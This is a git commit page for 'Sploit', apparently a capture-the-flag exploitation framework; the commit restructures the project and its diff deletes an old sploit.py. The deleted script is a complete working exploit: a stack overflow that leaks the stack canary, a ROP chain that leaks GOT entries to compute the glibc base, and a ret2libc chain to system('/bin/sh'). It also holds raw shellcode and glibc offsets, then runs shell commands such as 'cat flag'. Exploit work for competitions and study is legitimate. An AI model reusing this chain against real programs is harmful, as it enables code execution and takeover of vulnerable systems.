diff options
author | dusoleil <howcansocksbereal@gmail.com> | 2021-08-30 05:00:00 -0400 |
---|---|---|
committer | dusoleil <howcansocksbereal@gmail.com> | 2021-08-30 05:00:00 -0400 |
commit | e342ae082960cad4d05d719914801f907cd9d61d (patch) | |
tree | bd37ce9a0a237b9efcf2025cea996c0d49b197da /sploit.py | |
parent | b33db8c57b0875904610ae5dec64a653332ac835 (diff) | |
download | sploit-e342ae082960cad4d05d719914801f907cd9d61d.tar.gz sploit-e342ae082960cad4d05d719914801f907cd9d61d.zip |
Sploit Rework MVP Structure, Packaging, and Comms
First part of the MVP for the larger Sploit rework effort.
Add project structure, python packaging, basic comms, and "log" hook.
From in or out of the sploit directory, you can run the "sploit.py"
script, run python -m sploit, or import the sploit modules from the
python3 shell.
You can also pip install Sploit and from anywhere you can run the sploit
command, run python -m sploit, or import the sploit modules from the
python3 shell.
Running as a standalone application, Sploit can run in a "target" mode,
a "pipe" mode, and a "pipe daemon" mode. In "target" mode, Sploit will
launch a target program as a subprocess and run an exploit script
against its I/O. In "pipe" mode, Sploit will create named fifos and
wait for a program to connect to them to run an exploit script against
them. In "pipe daemon" mode, Sploit will run similar to the "pipe" mode,
but automatically recreate the fifos with the same name after each
execution.
Basic comm operations of read, readline, write, and writeline are
available to the exploit script.
A "log" hook is executed whenever data is read in from the target
program. This will just print the data out, but it can be configured to
decode it with a specific encoding or you could replace the function for
different behavior.
Signed-off-by: dusoleil <howcansocksbereal@gmail.com>
Diffstat (limited to 'sploit.py')
-rwxr-xr-x | sploit.py | 206 |
1 files changed, 2 insertions, 204 deletions
@@ -1,205 +1,3 @@ #!/usr/bin/env python3 - -#if sploit is called with command line arguments, -#it will use them to call the target program with popen -#otherwise, sploit will use stdin/stdout -#you can use sploitpipe to run sploit with pipes spltin/spltout -#which can be used with the target program -#<spltin ./target &>spltout -#or from within gdb -#r <spltin &>spltout -#if given a program name on the command line, we'll use popen -#otherwise, we use stdin/stdout -#in the latter case, you can use sploitpipe to set up spltin and spltout - -import time - -import sploitutil as util -import sploitrunner - -#specify which glibc offsets to use -testing = True - -#puts,system,and binsh string offsets into glibc -#https://libc.blukat.me/ -#https://libc.rip/ -#search two functions and the least significant 12 bits of their address -#then use the resulting glibc to get offsets for the exploit -#for whatever reason, some of these are off by a small amount -#printing the contents out(even bytes of instructions) -#and comparing to what I expect in gdb has been enough to figure it out -#also, if we have the actual library -#objdump -T libc.so | grep '_puts' -#xxd libc.so | grep '/bin' - -#my kali glibc (puts:0x5f0,setvbuf:0xcd0) -#https://libc.blukat.me/?q=_IO_puts%3A5f0%2C_IO_setvbuf%3Acd0 -#libc6_2.31-9_amd64 -#str_bin_sh was off for this one. I had to subtract 0x04 to get it right -libc_offset = util.itob(0x0765f0) -libc_system = util.itob(0x048e50) -libc_execve = util.itob(0x0cb6c0) -libc_exit = util.itob(0x0cb670) -libc_binsh = util.itob(0x18a152) -libc_poprdx_poprbx = util.itob(0x1376e2) -#target glibc (puts:0x5a0,setvbuf:0xe60) -#https://libc.blukat.me/?q=_IO_puts%3A5a0%2C_IO_setvbuf%3Ae60 -#libc6_2.31-0ubuntu9.2_amd64 (3 listed, but all I care about was the same) -if not testing: - libc_offset = util.itob(0x0875a0) - libc_system = util.itob(0x055410) - libc_execve = util.itob(0x0e62f0) - libc_exit = util.itob(0x0e6290) - libc_binsh = util.itob(0x1b75aa) - libc_poprdx_poprbx = util.itob(0x162866) - -frame_len = 0x108 - -string = b'Hello, World!\n' - -shellcode = b'\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0e\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff'+string - -payloads = { - 'null' : util.itob(0x00), - #stack smash - 'fill' : b'A'*(frame_len), - 'string' : string+b'A'*(frame_len-len(string)), - 'shellcode' : b'\x90'*(frame_len-len(shellcode))+shellcode, - 'canary' : util.itob(0xdeadbeef), - #stack addresses - 'buffaddr' : util.itob(0x7fffffff0000), - #static addresses - 'startaddr' : util.itob(0x4005d0), - 'targetaddr' : util.itob(0x400725), - 'pltaddr' : util.itob(0x4005c0), - 'gotaddr' : util.itob(0x600fe8), - 'gotaddr2' : util.itob(0x601030), - #rop gadgets - 'ret' : util.itob(0x400801), - 'poprdi' : util.itob(0x400873), - 'poprsi_popr15' : util.itob(0x400871) -} - - -def sploit(stdin, stdout): - c = util.Communication(stdin,stdout) - - def preamble(): - #preamble - c.recv() - #smash the stack up to canary - #+ a newline to overwrite the null and delimit the next two readlines - c.send( payloads['fill'] - +b'\n') - #most of the echo - c.recv() - #get the canary from the echo - out = c.recv() - canary = b'\x00'+out[:7] - return canary - - #rop to find the address of setvbuf in memory - #for the purpose of looking up the glibc offsets in a database - canary = preamble() - ropchain = payloads['poprdi'] #pop rdi,ret - ropchain += payloads['gotaddr2'] #rdi; pointer to setvbuf.got - ropchain += payloads['pltaddr'] #ret puts - #rop to find the address of puts in memory - #for the purpose of looking up the glibc offsets in a database - #and then we will use this to calculate our glibc base at runtime - ropchain += payloads['poprdi'] #pop rdi,ret - ropchain += payloads['gotaddr'] #rdi; pointer to puts.got - ropchain += payloads['pltaddr'] #ret puts - ropchain += payloads['startaddr'] #ret _start to fix stack - #smash stack again, but with canary and rop - #this will print out the address of puts in memory - c.send( payloads['fill'] - +canary - +payloads['buffaddr'] - +ropchain) - - #get the glibc puts address - c.recv() - out = c.recv() - libc_addr = out[:8] - #if puts() terminated on a \x00 (like the most sig bits of an address) - #our [:8] might get less than 8 bytes of address + a newline - #so strip that newline - if libc_addr[-1:] == b'\n': - libc_addr = libc_addr[:-1] - #calculate glibc base address - libc = util.Libc(libc_addr,libc_offset) - libc_base = libc.base() - #use that to calculate other glibc addresses - system_addr = libc.addr(libc_system) - execve_addr = libc.addr(libc_execve) - exit_addr = libc.addr(libc_exit) - binsh_addr = libc.addr(libc_binsh) - poprdx_poprbx_addr = libc.addr(libc_poprdx_poprbx) - - canary = preamble() - #print first few bytes of glibc - #this is to validate our offset - #a proper ELF file starts with '\x7fELF' - ropchain = payloads['poprdi'] #pop rdi,ret - ropchain += libc_base #rdi; pointer to glibc - ropchain += payloads['pltaddr'] #ret puts - #rop to puts("/bin/sh") - #this is to validate our offset - ropchain += payloads['poprdi'] #pop rdi,ret - ropchain += binsh_addr #rdi; pointer to "/bin/sh" - ropchain += payloads['pltaddr'] #ret puts - ropchain += payloads['startaddr'] #ret _start - c.send( payloads['fill'] - +canary - +payloads['buffaddr'] - +ropchain) - c.recv() - c.recv() - - #rop to execve("/bin/sh",0,0) - #canary = preamble() - #ropchain = payloads['poprdi'] #pop rdi,ret - #ropchain += binsh_addr #rdi; pointer to "/bin/sh" - #ropchain += payloads['poprsi_popr15'] #pop rsi,pop r15,ret - #ropchain += payloads['null'] #rsi - #ropchain += payloads['null'] #r15 - #ropchain += poprdx_poprbx_addr #pop rdx,pop rbx,ret - #ropchain += payloads['null'] #rdx - #ropchain += payloads['null'] #rbx - #ropchain += execve_addr #ret execve - #ropchain += payloads['poprdi'] #pop rdi,ret - #ropchain += payloads['null'] #rdi 0 - #ropchain += exit_addr #ret exit to exit cleanly - - #rop to system("/bin/sh") - canary = preamble() - ropchain = payloads['poprdi'] #pop rdi,ret - ropchain += binsh_addr #rdi; pointer to "/bin/sh" - ropchain += payloads['ret'] #extra ret for 16byte stack alignment - ropchain += system_addr #ret system - ropchain += payloads['poprdi'] #pop rdi,ret - ropchain += payloads['null'] #rdi 0 - ropchain += exit_addr #ret exit to exit cleanly - c.send( payloads['fill'] - +canary - +payloads['buffaddr'] - +ropchain) - - #we need to synchronize when read() finishes before sending more data - #we could insert another puts() into the rop and call c.recv() - #or we can just sleep for a second - time.sleep(1) - - #try some shell commands - c.send(b'whoami\n') - c.send(b'pwd\n') - c.send(b'ls\n') - c.send(b'cat flag\n') - c.send(b'cat flag.txt\n') - c.send(b'exit\n') - - return - -#run our sploit -sploitrunner.runsploit(sploit) +from sploit.main import main +main() |